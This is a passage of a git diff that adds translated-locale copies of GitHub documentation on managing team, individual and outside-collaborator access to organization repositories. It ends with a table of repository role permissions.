data reusables.organizations.invite-teams-or-people %} +1. In the search field, start typing the name of the person to invite, then click a name in the list of matches. + ![Search field for typing the name of a team or person to invite to the repository](/assets/images/help/repository/manage-access-invite-search-field.png) +6. Under "Choose a role", select the repository role to assign the person, then click **Add NAME to REPOSITORY**. + ![Selecting permissions for the team or person](/assets/images/help/repository/manage-access-invite-choose-role-add.png) + +## Managing an individual's access to an organization repository + +{% data reusables.profile.access_org %} +{% data reusables.user-settings.access_org %} +{% data reusables.organizations.people %} +4. Click either **Members** or **Outside collaborators** to manage people with different types of access. ![Button to invite members or outside collaborators to an organization](/assets/images/help/organizations/select-outside-collaborators.png) +5. To the right of the name of the person you'd like to manage, use the {% octicon "gear" aria-label="The Settings gear" %} drop-down menu, and click **Manage**. + ![The manage access link](/assets/images/help/organizations/member-manage-access.png) +6. On the "Manage access" page, next to the repository, click **Manage access**. +![Manage access button for a repository](/assets/images/help/organizations/repository-manage-access.png) +7. Review the person's access to a given repository, such as whether they're a collaborator or have access to the repository via team membership. +![Repository access matrix for the user](/assets/images/help/organizations/repository-access-matrix-for-user.png) +{% endif %} +## Further reading + +{% ifversion fpt or ghec %}- "[Limiting interactions with your repository](/articles/limiting-interactions-with-your-repository)"{% endif %} +- "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" diff --git a/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md b/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md new file mode 100644 index 000000000000..21961fa9b96d --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md @@ -0,0 +1,74 @@ +--- +title: Managing team access to an organization repository +intro: 'You can give a team access to a repository, remove a team''s access to a repository, or change a team''s permission level for a repository.' +redirect_from: + - /articles/managing-team-access-to-an-organization-repository-early-access-program + - /articles/managing-team-access-to-an-organization-repository + - /github/setting-up-and-managing-organizations-and-teams/managing-team-access-to-an-organization-repository + - /organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Manage team access +--- + +People with admin access to a repository can manage team access to the repository. Team maintainers can remove a team's access to a repository if the team has direct access to it. If the team's access to the repository is inherited from a parent team, maintainers can choose to reset the current permission to match the parent team's permission. + +{% warning %} + +**Warnings:** +- You can change a team's permission level if the team has direct access to a repository. If the team's access to the repository is inherited from a parent team, you must change the parent team's access to the repository. +- If you add or remove repository access for a parent team, each of that parent's child teams will also receive or lose access to the repository. For more information, see "[About teams](/articles/about-teams)." + +{% endwarning %} + +## Giving a team access to a repository + +{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +You can give a team access to a repository or change a team's level of access to a repository in your repository settings. For more information, see "[Managing teams and people with access to your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository#inviting-a-team-or-person)." +{% else %} +{% data reusables.profile.access_org %} +{% data reusables.user-settings.access_org %} +{% data reusables.organizations.specific_team %} +{% data reusables.organizations.team-repositories-tab %} +5. Above the list of repositories, click **Add repository**. + ![The Add repository button](/assets/images/help/organizations/add-repositories-button.png) +6. Type the name of a repository, then click **Add repository to team**. + ![Repository search field](/assets/images/help/organizations/team-repositories-add.png) +7. Optionally, to the right of the repository name, use the drop-down menu and choose a different permission level for the team. + ![Repository access level dropdown](/assets/images/help/organizations/team-repositories-change-permission-level.png) +{% endif %} +## Removing a team's access to a repository + +{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +You can remove a team's access to an organization repository in your repository settings. For more information, see "[Managing teams and people with access to your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository#removing-access-for-a-team-or-person)." + +If a team has direct access to a repository, you can remove that team's access to the repository. If a team's access to the repository is inherited from a parent team, you must remove the repository from the parent team in order to remove the repository from child teams. + +{% data reusables.repositories.deleted_forks_from_private_repositories_warning %} + +{% else %} + +You can remove a team's access to a repository if the team has direct access to a repository. If a team's access to the repository is inherited from a parent team, you must remove the repository from the parent team in order to remove the repository from child teams. + +{% data reusables.repositories.deleted_forks_from_private_repositories_warning %} + +{% data reusables.profile.access_org %} +{% data reusables.user-settings.access_org %} +{% data reusables.organizations.specific_team %} +{% data reusables.organizations.team-repositories-tab %} +5. Select the repository or repositories you'd like to remove from the team. + ![List of team repositories with the checkboxes for some repositories selected](/assets/images/help/teams/select-team-repositories-bulk.png) +6. Above the list of repositories, use the drop-down menu, and click **Remove from team**. + ![Drop-down menu with the option to remove a repository from a team](/assets/images/help/teams/remove-team-repo-dropdown.png) +7. Review the repository or repositories that will be removed from the team, then click **Remove repositories**. + ![Modal box with a list of repositories that the team will no longer have access to](/assets/images/help/teams/confirm-remove-team-repos.png) +{% endif %} +## Further reading + +- "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" diff --git a/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/reinstating-a-former-outside-collaborators-access-to-your-organization.md b/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/reinstating-a-former-outside-collaborators-access-to-your-organization.md new file mode 100644 index 000000000000..61ee135558bd --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/reinstating-a-former-outside-collaborators-access-to-your-organization.md @@ -0,0 +1,82 @@ +--- +title: Reinstating a former outside collaborator's access to your organization +intro: 'You can reinstate a former outside collaborator''s access permissions for organization repositories, forks, and settings.' +redirect_from: + - /articles/reinstating-a-former-outside-collaborator-s-access-to-your-organization + - /articles/reinstating-a-former-outside-collaborators-access-to-your-organization + - /github/setting-up-and-managing-organizations-and-teams/reinstating-a-former-outside-collaborators-access-to-your-organization + - /organizations/managing-access-to-your-organizations-repositories/reinstating-a-former-outside-collaborators-access-to-your-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Reinstate collaborator +--- + +When an outside collaborator's access to your organization's private repositories is removed, the user's access privileges and settings are saved for three months. You can restore the user's privileges if you {% ifversion fpt or ghec %}invite{% else %}add{% endif %} them back to the organization within that time frame. + +{% data reusables.two_fa.send-invite-to-reinstate-user-before-2fa-is-enabled %} + +When you reinstate a former outside collaborator, you can restore: + - The user's former access to organization repositories + - Any private forks of repositories owned by the organization + - Membership in the organization's teams + - Previous access and permissions for the organization's repositories + - Stars for organization repositories + - Issue assignments in the organization + - Repository subscriptions (notification settings for watching, not watching, or ignoring a repository's activity) + +{% tip %} + +**Tips**: + + - Only organization owners can reinstate outside collaborators' access to an organization.{% ifversion prevent-org-admin-add-outside-collaborator %} Enterprise owners may further restrict the ability to reinstate outside collaborators' access to enterprise owners only.{% endif %} For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." + - The reinstating a member flow on {% data variables.location.product_location %} may use the term "member" to describe reinstating an outside collaborator but if you reinstate this person and keep their previous privileges, they will only have their previous [outside collaborator permissions](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators).{% ifversion fpt or ghec %} + - If your organization has a paid per-user subscription, an unused license must be available before you can invite a new member to join the organization or reinstate a former organization member. For more information, see "[About per-user pricing](/articles/about-per-user-pricing)."{% endif %} + +{% endtip %} + +{% data reusables.profile.access_org %} +{% data reusables.user-settings.access_org %} +{% data reusables.organizations.people %} +{% data reusables.organizations.invite_member_from_people_tab %} +{% data reusables.organizations.reinstate-user-type-username %} +{% ifversion fpt or ghec %} +1. Choose to restore the outside collaborator's previous privileges in the organization by clicking **Invite and reinstate** or choose to clear their previous privileges and set new access permissions by clicking **Invite and start fresh**. + + {% warning %} + + **Warning:** If you want to upgrade the outside collaborator to a member of your organization, then choose **Invite and start fresh** and choose a new role for this person. Note, however, that this person's private forks of your organization's repositories will be lost if you choose to start fresh. To make the former outside collaborator a member of your organization *and* keep their private forks, choose **Invite and reinstate** instead. Once this person accepts the invitation, you can convert them to an organization member by [inviting them to join the organization as a member](/articles/converting-an-outside-collaborator-to-an-organization-member). + + {% endwarning %} + + ![Choose to restore settings or not](/assets/images/help/organizations/choose_whether_to_restore_org_member_info.png) +{% else %} +6. Choose to restore the outside collaborator's previous privileges in the organization by clicking **Add and reinstate** or choose to clear their previous privileges and set new access permissions by clicking **Add and start fresh**. + + {% warning %} + + **Warning:** If you want to upgrade the outside collaborator to a member of your organization, then choose **Add and start fresh** and choose a new role for this person. Note, however, that this person's private forks of your organization's repositories will be lost if you choose to start fresh. To make the former outside collaborator a member of your organization *and* keep their private forks, choose **Add and reinstate** instead. Then, you can convert them to an organization member by [adding them to the organization as a member](/articles/converting-an-outside-collaborator-to-an-organization-member). + + {% endwarning %} + + ![Choose to restore settings or not](/assets/images/help/organizations/choose_whether_to_restore_org_member_info_ghe.png) +{% endif %} +{% ifversion fpt or ghec %} +7. If you cleared the previous privileges for a former outside collaborator, choose a role for the user and optionally add them to some teams, then click **Send invitation**. + ![Role and team options and send invitation button](/assets/images/help/organizations/add-role-send-invitation.png) +{% else %} +7. If you cleared the previous privileges for a former outside collaborator, choose a role for the user and optionally add them to some teams, then click **Add member**. + ![Role and team options and add member button](/assets/images/help/organizations/add-role-add-member.png) +{% endif %} +{% ifversion fpt or ghec %} +8. The invited person will receive an email inviting them to the organization. They will need to accept the invitation before becoming an outside collaborator in the organization. {% data reusables.organizations.cancel_org_invite %} +{% endif %} + +## Further Reading + +- "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" diff --git a/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/removing-an-outside-collaborator-from-an-organization-repository.md b/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/removing-an-outside-collaborator-from-an-organization-repository.md new file mode 100644 index 000000000000..ddaf0f55fc50 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/removing-an-outside-collaborator-from-an-organization-repository.md @@ -0,0 +1,70 @@ +--- +title: Removing an outside collaborator from an organization repository +intro: Owners and repository admins can remove an outside collaborator's access to a repository. +redirect_from: + - /articles/removing-an-outside-collaborator-from-an-organization-repository + - /github/setting-up-and-managing-organizations-and-teams/removing-an-outside-collaborator-from-an-organization-repository + - /organizations/managing-access-to-your-organizations-repositories/removing-an-outside-collaborator-from-an-organization-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Remove collaborator +--- + +{% ifversion fpt or ghec %} + +{% warning %} + +**Warning:** +- When removing an outside collaborator from a private repository, the paid license count does not automatically downgrade. To pay for fewer licenses after removing users from your organization, follow the steps in "[Downgrading your organization's paid seats](/articles/downgrading-your-organization-s-paid-seats)." + +- You are responsible for ensuring that people who have lost access to a repository delete any confidential information or intellectual property. + +{% endwarning %} + +{% endif %} + +While forks of private repositories are deleted when a collaborator is removed, the person will still retain any local clones of your repository. + +## Removing outside collaborators from all repositories in an organization + +{% data reusables.profile.access_org %} +{% data reusables.user-settings.access_org %} +{% data reusables.organizations.people %} +{% data reusables.organizations.people_tab_outside_collaborators %} +5. Select the outside collaborator or outside collaborators you'd like to remove from the organization. +![List of outside collaborators with two outside collaborators selected](/assets/images/help/teams/list-of-outside-collaborators-selected-bulk.png) +6. Above the list of outside collaborators, use the drop-down menu, and click **Remove from all repositories**. +![Drop-down menu with option to remove outside collaborators ](/assets/images/help/teams/user-bulk-management-options-for-outside-collaborators.png) +7. Review the outside collaborator or outside collaborators who will be removed from the organization, then click **Remove outside collaborators**. + ![List of outside collaborators who will be removed and Remove outside collaborators button](/assets/images/help/teams/confirm-remove-outside-collaborators-bulk.png) + +## Removing an outside collaborator from a particular repository in an organization + +If you only want to remove an outside collaborator from certain repositories in your organization, you can remove this person's access to one specific repository at a time. + +{% data reusables.profile.access_org %} +{% data reusables.user-settings.access_org %} +{% data reusables.organizations.people %} +{% data reusables.organizations.people_tab_outside_collaborators %} +5. To the right of the username of the person you want to remove, use the {% octicon "gear" aria-label="The Settings gear" %} drop-down menu, and click **Manage**. + ![Manage access button](/assets/images/help/organizations/member-manage-access.png) +6. To the right of the repository that you want to remove the outside collaborator from, click **Manage access**. +![Select manage access button next to a repository the outside collaborator has access to](/assets/images/help/organizations/second-manage-access-selection-for-collaborator.png) +7. To completely remove the outside collaborator's access to the repository, in the upper right corner, click **Remove access to this repository**. +![Remove access to this repository button](/assets/images/help/organizations/remove-access-to-this-repository.png) +8. To confirm, click **Remove access**. +![Confirm outside collaborator who will be removed from the repository](/assets/images/help/teams/confirm-remove-outside-collaborator-from-a-repository.png) + +{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +You can also remove an outside collaborator from a repository in the access overview in your repository settings. For more information, see "[Managing teams and people with access to your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository#removing-access-for-a-team-or-person)." +{% endif %} +## Further reading + +- "[Adding outside collaborators to repositories in your organization](/articles/adding-outside-collaborators-to-repositories-in-your-organization)" +- "[Converting an organization member to an outside collaborator](/articles/converting-an-organization-member-to-an-outside-collaborator)" diff --git a/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/repository-roles-for-an-organization.md b/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/repository-roles-for-an-organization.md new file mode 100644 index 000000000000..ba6e3677997f --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/repository-roles-for-an-organization.md @@ -0,0 +1,176 @@ +--- +title: Repository roles for an organization +intro: 'You can customize access to each repository in your organization by assigning granular roles, giving people access to the features and tasks they need.' +miniTocMaxHeadingLevel: 3 +redirect_from: + - /articles/repository-permission-levels-for-an-organization-early-access-program + - /articles/repository-permission-levels-for-an-organization + - /github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization + - /organizations/managing-access-to-your-organizations-repositories/repository-permission-levels-for-an-organization + - /organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Repository roles +--- + +## Repository roles for organizations + +You can give organization members, outside collaborators, and teams of people different levels of access to repositories owned by an organization by assigning them to roles. Choose the role that best fits each person or team's function in your project without giving people more access to the project than they need. + +From least access to most access, the roles for an organization repository are: +- **Read**: Recommended for non-code contributors who want to view or discuss your project +- **Triage**: Recommended for contributors who need to proactively manage issues and pull requests without write access +- **Write**: Recommended for contributors who actively push to your project +- **Maintain**: Recommended for project managers who need to manage the repository without access to sensitive or destructive actions +- **Admin**: Recommended for people who need full access to the project, including sensitive and destructive actions like managing security or deleting a repository + +{% ifversion fpt %} +If your organization uses {% data variables.product.prodname_ghe_cloud %}, you can create custom repository roles. For more information, see "[Managing custom repository roles for an organization](/enterprise-cloud@latest/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)" in the {% data variables.product.prodname_ghe_cloud %} documentation. +{% elsif ghec or ghes > 3.4 or ghae > 3.4 %} +You can create custom repository roles. For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)." +{% endif %} + +Organization owners can set base permissions that apply to all members of an organization when accessing any of the organization's repositories. For more information, see "[Setting base permissions for an organization](/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization#setting-base-permissions)." + +Organization owners can also choose to further limit access to certain settings and actions across the organization. For more information on options for specific settings, see "[Managing organization settings](/articles/managing-organization-settings)." + +In addition to managing organization-level settings, organization owners have admin access to every repository owned by the organization. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." + +{% warning %} + +**Warning:** When someone adds a deploy key to a repository, any user who has the private key can read from or write to the repository (depending on the key settings), even if they're later removed from the organization. + +{% endwarning %} + +## Permissions for each role + +{% ifversion fpt %} +Some of the features listed below are limited to organizations using {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %} +{% endif %} + +{% ifversion fpt or ghes or ghec %} +{% note %} + +**Note:** The roles required to use security features are listed in "[Access requirements for security features](#access-requirements-for-security-features)" below. + +{% endnote %} +{% endif %} + +| Repository action | Read | Triage | Write | Maintain | Admin | +|:---|:---:|:---:|:---:|:---:|:---:| +| Manage [individual](/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository), [team](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository), and [outside collaborator](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization) access to the repository | | | | | **✔️** | +| Pull from the person or team's assigned repositories | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** | +| Fork the person or team's assigned repositories | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** | +| Edit and delete their own comments | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** | +| Open issues | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** | +| Close issues they opened themselves | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** | +| Reopen issues they closed themselves | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** | +| Have an issue assigned to them | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** | +| Send pull requests from forks of the team's assigned repositories | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** | +| [Submit reviews on pull requests](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request) | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** | +| [Approve or request changes to a pull request with required reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/approving-a-pull-request-with-required-reviews) | | | **✔️** | **✔️** | **✔️** | +| [Apply suggested changes](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request) to pull requests | | | **✔️** | **✔️** | **✔️** | +| View published releases | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** |{% ifversion fpt or ghec %} +| View [GitHub Actions workflow runs](/actions/automating-your-workflow-with-github-actions/managing-a-workflow-run) | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** |{% endif %} +| Edit wikis in public repositories | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** | +| Edit wikis in private repositories | | | **✔️** | **✔️** | **✔️** |{% ifversion fpt or ghec %} +| [Report abusive or spammy content](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam) | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** |{% endif %} +| Apply/dismiss labels | | **✔️** | **✔️** | **✔️** | **✔️** | +| Create, edit, delete labels | | | **✔️** | **✔️** | **✔️** | +| Close, reopen, and assign all issues and pull requests | | **✔️** | **✔️** | **✔️** | **✔️** | +| [Enable and disable auto-merge on a pull request](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository) | | | **✔️** | **✔️** | **✔️** | +| Apply milestones | | **✔️** | **✔️** | **✔️** | **✔️** | +| Mark [duplicate issues and pull requests](/articles/about-duplicate-issues-and-pull-requests)| | **✔️** | **✔️** | **✔️** | **✔️** | +| Request [pull request reviews](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review) | | **✔️** | **✔️** | **✔️** | **✔️** | +| Merge a [pull request](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges) | | | **✔️** | **✔️** | **✔️** | +| Push to (write) the person or team's assigned repositories | | | **✔️** | **✔️** | **✔️** | +| Edit and delete anyone's comments on commits, pull requests, and issues | | | **✔️** | **✔️** | **✔️** | +| [Hide anyone's comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments) | | | **✔️** | **✔️** | **✔️** | +| [Lock conversations](/communities/moderating-comments-and-conversations/locking-conversations) | | | **✔️** | **✔️** | **✔️** | +| Transfer issues (see "[Transferring an issue to another repository](/articles/transferring-an-issue-to-another-repository)" for details) | | | **✔️** | **✔️** | **✔️** | +| [Act as a designated code owner for a repository](/articles/about-code-owners) | | | **✔️** | **✔️** | **✔️** | +| [Mark a draft pull request as ready for review](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request) | | | **✔️** | **✔️** | **✔️** | +| [Convert a pull request to a draft](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request) | | | **✔️** | **✔️** | **✔️** | +| Create [status checks](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks) | | | **✔️** | **✔️** | **✔️** |{% ifversion fpt or ghec %} +| Create, edit, run, re-run, and cancel [GitHub Actions workflows](/actions/automating-your-workflow-with-github-actions/) | | | **✔️** | **✔️** | **✔️** |{% endif %} +| Create and edit releases | | | **✔️** | **✔️** | **✔️** | +| View draft releases | | | **✔️** | **✔️** | **✔️** | +| Edit a repository's description | | | | **✔️** | **✔️** |{% ifversion fpt or ghae or ghec %} +| [View and install packages](/packages/publishing-and-managing-packages) | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** | +| [Publish packages](/packages/publishing-and-managing-packages/publishing-a-package) | | | **✔️** | **✔️** | **✔️** | +| [Delete and restore packages](/packages/learn-github-packages/deleting-and-restoring-a-package) | | | | | **✔️** | {% endif %} +| Manage [topics](/articles/classifying-your-repository-with-topics) | | | | **✔️** | **✔️** | +| Enable wikis and restrict wiki editors | | | | **✔️** | **✔️** | +| Enable project boards | | | | **✔️** | **✔️** | +| Configure [pull request merges](/articles/configuring-pull-request-merges) | | | | **✔️** | **✔️** | +| Configure [a publishing source for {% data variables.product.prodname_pages %}](/articles/configuring-a-publishing-source-for-github-pages) | | | | **✔️** | **✔️** | +| [Manage branch protection rules](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule) | | | | | **✔️** | +| [Push to protected branches](/articles/about-protected-branches) | | | | **✔️** | **✔️** | +| Merge pull requests on protected branches, even if there are no approving reviews | | | | | **✔️** |{% ifversion fpt or ghes > 3.4 or ghae > 3.4 or ghec %} +| Create tags that match a [tag protection rule](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-tag-protection-rules) | | | | **✔️** | **✔️** | +| Delete tags that match a [tag protection rule](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-tag-protection-rules) | | | | | **✔️** |{% endif %} +| [Create and edit repository social cards](/articles/customizing-your-repositorys-social-media-preview) | | | | **✔️** | **✔️** |{% ifversion fpt or ghec %} +| Limit [interactions in a repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)| | | | **✔️** | **✔️** |{% endif %} +| Delete an issue (see "[Deleting an issue](/articles/deleting-an-issue)") | | | | | **✔️** | +| [Define code owners for a repository](/articles/about-code-owners) | | | | | **✔️** | +| Add a repository to a team (see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository#giving-a-team-access-to-a-repository)" for details) | | | | | **✔️** | +| [Manage outside collaborator access to a repository](/articles/adding-outside-collaborators-to-repositories-in-your-organization) | | | | | **✔️** | +| [Change a repository's visibility](/articles/restricting-repository-visibility-changes-in-your-organization) | | | | | **✔️** | +| Make a repository a template (see "[Creating a template repository](/articles/creating-a-template-repository)") | | | | | **✔️** | +| Change a repository's settings | | | | | **✔️** | +| Manage team and collaborator access to the repository | | | | | **✔️** | +| Edit the repository's default branch | | | | | **✔️** | +| Rename the repository's default branch (see "[Renaming a branch](/github/administering-a-repository/renaming-a-branch)") | | | | | **✔️** | +| Rename a branch other than the repository's default branch (see "[Renaming a branch](/github/administering-a-repository/renaming-a-branch)") | | | **✔️** | **✔️** | **✔️** | +| Manage webhooks and deploy keys | | | | | **✔️** |{% ifversion fpt or ghec %} +| [Manage data use settings for your private repository](/get-started/privacy-on-github/managing-data-use-settings-for-your-private-repository) | | | | | **✔️** |{% endif %} +| [Manage the forking policy for a repository](/github/administering-a-repository/managing-the-forking-policy-for-your-repository) | | | | | **✔️** | +| [Transfer repositories into the organization](/articles/restricting-repository-creation-in-your-organization) | | | | | **✔️** | +| [Delete or transfer repositories out of the organization](/articles/setting-permissions-for-deleting-or-transferring-repositories) | | | | | **✔️** | +| [Archive repositories](/articles/about-archiving-repositories) | | | | | **✔️** |{% ifversion fpt or ghec %} +| Display a sponsor button (see "[Displaying a sponsor button in your repository](/articles/displaying-a-sponsor-button-in-your-repository)") | | | | | **✔️** |{% endif %} +| Create autolink references to external resources, like Jira or Zendesk (see "[Configuring autolinks to reference external resources](/articles/configuring-autolinks-to-reference-external-resources)") | | | | | **✔️** |{% ifversion discussions %} +| [Enable {% data variables.product.prodname_discussions %}](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository) in a repository | | | | **✔️** | **✔️** | +| [Create and edit categories](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions) for {% data variables.product.prodname_discussions %} | | | | **✔️** | **✔️** | +| [Move a discussion to a different category](/discussions/managing-discussions-for-your-community/managing-discussions) | | | **✔️** | **✔️** | **✔️** | +| [Transfer a discussion](/discussions/managing-discussions-for-your-community/managing-discussions) to a new repository| | | **✔️** | **✔️** | **✔️** | +| [Manage pinned discussions](/discussions/managing-discussions-for-your-community/managing-discussions) | | | **✔️** | **✔️** | **✔️** | +| [Convert issues to discussions in bulk](/discussions/managing-discussions-for-your-community/managing-discussions) | | | **✔️** | **✔️** | **✔️** | +| [Lock and unlock discussions](/discussions/managing-discussions-for-your-community/moderating-discussions) | | **✔️** | **✔️** | **✔️** | **✔️** | +| [Individually convert issues to discussions](/discussions/managing-discussions-for-your-community/moderating-discussions) | | **✔️** | **✔️** | **✔️** | **✔️** | +| [Create new discussions and comment on existing discussions](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion) | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** | +| [Delete a discussion](/discussions/managing-discussions-for-your-community/managing-discussions#deleting-a-discussion) | | **✔️** | | **✔️** | **✔️** |{% endif %}{% ifversion fpt or ghec %} +| Create [codespaces](/codespaces/about-codespaces) | | | **✔️** | **✔️** | **✔️** |{% endif %} + +### Access requirements for security features + +In this section, you can find the access required for security features, such as {% data variables.product.prodname_advanced_security %} features. + +| Repository action | Read | Triage | Write | Maintain | Admin | +|:---|:---:|:---:|:---:|:---:|:---:| +| Receive [{% data variables.product.prodname_dependabot_alerts %} for insecure dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies) in a repository | | | | | **✔️** | +| [Dismiss {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository) | | | | | **✔️** |{% ifversion ghes or ghae or ghec %}<!--Not available for FPT--> +| [Designate additional people or teams to receive security alerts](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts) | | | | | **✔️** |{% endif %}{% ifversion fpt or ghec %} +| Create [security advisories](/code-security/security-advisories/about-github-security-advisories) | | | | | **✔️** |{% endif %}{% ifversion ghes or ghae or ghec %} <!--Not available for FPT--> +| Manage access to {% data variables.product.prodname_GH_advanced_security %} features (see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)") | | | | | **✔️** |{% endif %}{% ifversion fpt or ghec %}<!--Set at site-level for GHES and GHAE--> +| [Enable the dependency graph](/code-security/supply-chain-security/exploring-the-dependencies-of-a-repository) for a private repository | | | | | **✔️** |{% endif %}{% ifversion ghes or ghae or ghec %} +| [View dependency reviews](/code-security/supply-chain-security/about-dependency-review) | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** |{% endif %} +| [View {% data variables.product.prodname_code_scanning %} alerts on pull requests](/github/finding-security-vulnerabilities-and-errors-in-your-code/triaging-code-scanning-alerts-in-pull-requests) | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** | +| [List, dismiss, and delete {% data variables.product.prodname_code_scanning %} alerts](/github/finding-security-vulnerabilities-and-errors-in-your-code/managing-code-scanning-alerts-for-your-repository) | | | **✔️** | **✔️** | **✔️** | +| [View and dismiss {% data variables.product.prodname_secret_scanning %} alerts in a repository](/github/administering-a-repository/managing-alerts-from-secret-scanning) | | | **✔️**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} | **✔️**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} | **✔️** |{% ifversion ghes or ghae or ghec %}<!--Not available for FPT--> +| [Resolve, revoke, or re-open {% data variables.product.prodname_secret_scanning %} alerts](/github/administering-a-repository/managing-alerts-from-secret-scanning) | | | **✔️**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} | **✔️**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} | **✔️** |{% endif %}{% ifversion ghes or ghae or ghec %} +| [Designate additional people or teams to receive {% data variables.product.prodname_secret_scanning %} alerts](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts) in repositories | | | | | **✔️** |{% endif %} + +[1] Repository writers and maintainers can only see alert information for their own commits. + +## Further reading + +- "[Managing access to your organization's repositories](/articles/managing-access-to-your-organization-s-repositories)" +- "[Adding outside collaborators to repositories in your organization](/articles/adding-outside-collaborators-to-repositories-in-your-organization)" +- "[Project board permissions for an organization](/articles/project-board-permissions-for-an-organization)" diff --git 